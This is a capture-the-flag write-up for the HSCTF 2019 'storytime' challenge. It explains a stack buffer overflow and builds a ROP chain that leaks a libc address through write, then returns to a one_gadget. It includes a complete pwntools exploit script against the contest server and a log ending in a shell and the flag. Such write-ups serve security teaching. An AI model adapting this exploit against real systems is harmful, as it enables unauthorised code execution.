# hs 2019 storytime
Let's take a look at the binary:
```$    file storytimestorytime: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=3f716e7aa7e236824c52ed0410c1f14739919822, not stripped$    pwn checksec storytime[*] '/Hackery/hs/storytime/storytime'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)$    ./storytimeHSCTF PWNNNNNNNNNNNNNNNNNNNNTell me a story:15935728```
So we are dealing with a `64` bit dynamically linked binary that has a non-executable stack. When we run it, it prompts us for input. Let's look at the main function in Ghidra:
```undefined8 main(void)
{  undefined input [48];   setvbuf(stdout,(char *)0x0,2,0);  write(1,"HSCTF PWNNNNNNNNNNNNNNNNNNNN\n",0x1d);  write(1,"Tell me a story: \n",0x12);  read(0,input,400);  return 0;}```
So we can see that it starts out by printing some data with the `write` function. Proceeding that it will scan in `400` bytes of data into `input` (which can only hold `48` bytes), and give us a buffer overflow. There is no stack canary, so there isn't anything stopping us from executing code. The question is, what will we execute?
Looking under the imports in Ghidra, we can see that our imported functions are `read`, `write`, and `setvbuf`. Since PIE is not enabled, we can call any of these functions. Also since the elf is dynamically linked (and a pretty small binary), we don't have a lot of gadgets. My plan to go about getting a shell has two parts. The first part is getting a libc infoleak with a `write` function that writes to `stdout` (`1`), then loop back again to a vulnerable read call and overwrite the return address with a onedgadget. A onegadget is essentially a single ROP gadget that can be found in the libc, that if the right conditions are meant when it is ran, it will give you a shell (the project for the onegadget finder can be found at: https://github.com/david942j/one_gadget).
The issue with this is we don't know what version of libc is running on a server. For this I looked at what libc version they gave out for other challenges and guessed and checked. After a bit I found that it was libc version `libc.so.6`. However before I did that I got it working locally with my own libc. To see what libc file your binary is loaded with, and where the file is stored, you can just run the `vmmap` command in gdb while the binary is running:
```gef➤  vmmapStart              End                Offset             Perm Path0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /Hackery/hs/storytime/storytime0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /Hackery/hs/storytime/storytime0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /Hackery/hs/storytime/storytime0x00007ffff79e4000 0x00007ffff7bcb000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so0x00007ffff7bcb000 0x00007ffff7dcb000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so0x00007ffff7dcb000 0x00007ffff7dcf000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so0x00007ffff7dcf000 0x00007ffff7dd1000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so0x00007ffff7dd1000 0x00007ffff7dd5000 0x0000000000000000 rw-0x00007ffff7dd5000 0x00007ffff7dfc000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so0x00007ffff7fd9000 0x00007ffff7fdb000 0x0000000000000000 rw-0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000027000 r-- /lib/x86_64-linux-gnu/ld-2.27.so0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000028000 rw- /lib/x86_64-linux-gnu/ld-2.27.so0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]```
Also the indication I used to see if I had the right libc version (doesn't work 100% of the time), but when I would try and calculate the base of the libc using offsets, it ended with several zeros that would usually be a good indication.
Now back to the exploitation. There are `0x38` bytes between the start of our input and the return address (`48` for the size of the char buffer, and `8` for the saved base pointer). Now for the write libc infoleak we will need the `rdi` register to have the value `0x1` to specify the stdout file handle, `rsi` to have the address of the got entry for write (since that will give us the libc address for write), and `rdx` to have a value greater than or equal to `8` (to leak the address). Also since PIE isn't enabled, we know the address of the got entry without a PIE infoleak. Looking at the assembly code leading up to the `ret` instruction which gives us code execution, we can see that the `rdx` register is set to `0x190` which will fit our needs.
```        00400684 ba 90 01        MOV        EDX,0x190                 00 00        00400689 48 89 c6        MOV        RSI,RAX        0040068c bf 00 00        MOV        EDI,0x0                 00 00        00400691 e8 1a fe        CALL       read                                             ssize_t read(int __fd, void * __                 ff ff        00400696 b8 00 00        MOV        EAX,0x0                 00 00        0040069b c9              LEAVE        0040069c c3              RET```
Now for the got entry of `write` in the `rsi` register, we see that there is a rop gadget that will allow us to pop it into the register. It will also pop a value into the `r15` register, however we just need to include another 8 byte qword in our rop chain for that so it really doesn't affect much:
```$    python ROPgadget.py --binary storytime | grep rsi0x0000000000400701 : pop rsi ; pop r15 ; ret```
For the last register (the `1` in `rdi`) I settled this with where we jumped back to. Instead of calling `write`, I just jumped to `0x400601` which is in the middle of the `end` function:```
void end(void)
{  write(1,"The End!\n",0x28);  return;}```
Specifically the instruction we jump back to will mov `0x1` into the `edi` register then call `write`, which will give us our infoleak:```        00400606 e8 95 fe        CALL       write                                            ssize_t write(int __fd, void * _                 ff ff        0040060b 90              NOP        0040060c 5d              POP        RBP        0040060d c3              RET```
Then it will return and continue on with our rop chain. However before it does that, it will pop a value off of our chain into the `rbp` register so we will need to include a filler 8 byte qword in our rop chain at that point. For where to jump to, I choose `0x40060e`, since it is the beginning of the `climax` function which gives us a buffer overflow where we can overwrite the return address with a onegadget and pop a shell.
```void climax(void)
{  undefined local_38 [48];   read(0,local_38,4000);  return;}```
Also to find the onegadget, we can just use the onegaget finder like this to find the offset from the base of libc. To choose which one to use, I normally just guess and check instead of checking the conditions at runtime (I find it a bit faster):
```$    one_gadget libc.so.60x45216 execve("/bin/sh", rsp+0x30, environ)constraints:  rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)constraints:  [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints:  [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints:  [rsp+0x70] == NULL```
Putting it all together, we get the following exploit. If you want to run it locally with a different version of libc, you can either swap it out with something like `LD_PRELOAD`, or just switch the `libc` variable to point to the libc version you're using. If you do do that, you will also need to update the one_gadget offset too:
```from pwn import *
# Establisht the target#target = process('./storytime')#gdb.attach(target, gdbscript = 'b *0x40060e')target = remote("pwn.hsctf.com", 3333)
# Establish the libc versionlibc = ELF('libc.so.6')#libc = ELF('libc-2.27.so')
#0x0000000000400701 : pop rsi ; pop r15 ; retpopRsiR15 = p64(0x400701)
# Got address of writewriteGot = p64(0x601018)
# Filler to reach the return addresspayload = "0"*0x38
# Pop the got entry of write into r15payload += popRsiR15payload += writeGotpayload += p64(0x3030303030303030) # Filler value will be popped into r15
# Right before write call in endpayload += p64(0x400601)
# Filler value that will be popped off in endpayload += p64(0x3030303030303030)
# Address of climax, we will exploit another buffer overflow to use the rop gadgetpayload += p64(0x40060e)
# Send the payloadtarget.sendline(payload)
# Scan in some of the outputprint target.recvuntil("Tell me a story: \n")
# Scan in and filter out the libc infoleak, calculate base of libcleak = u64(target.recv(8))base = leak - libc.symbols["write"]print hex(base)
# Calculate the oneshot gadgetoneshot = base + 0x4526a
# Make the payload for the onshot gadgetpayload = "1"*0x38 + p64(oneshot)
# Send it and get a shelltarget.sendline(payload)target.interactive()```
When we run it:```$    python exploit.py[+] Opening connection to pwn.hsctf.com on port 3333: Done[*] '/Hackery/hs/storytime/libc.so.6'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabledHSCTF PWNNNNNNNNNNNNNNNNNNNNTell me a story:
0x7fddbba46000[*] Switching to interactive modePҳ\xbb�\x00\x00p^\xab\xbb�\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \xb6���\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00lsbindevflagliblib32lib64storytime$ lsbindevflagliblib32lib64storytime$ cat flaghsctf{th4nk7_f0r_th3_g00d_st0ry_yay-314879357}```
Just like that, we captured the flag!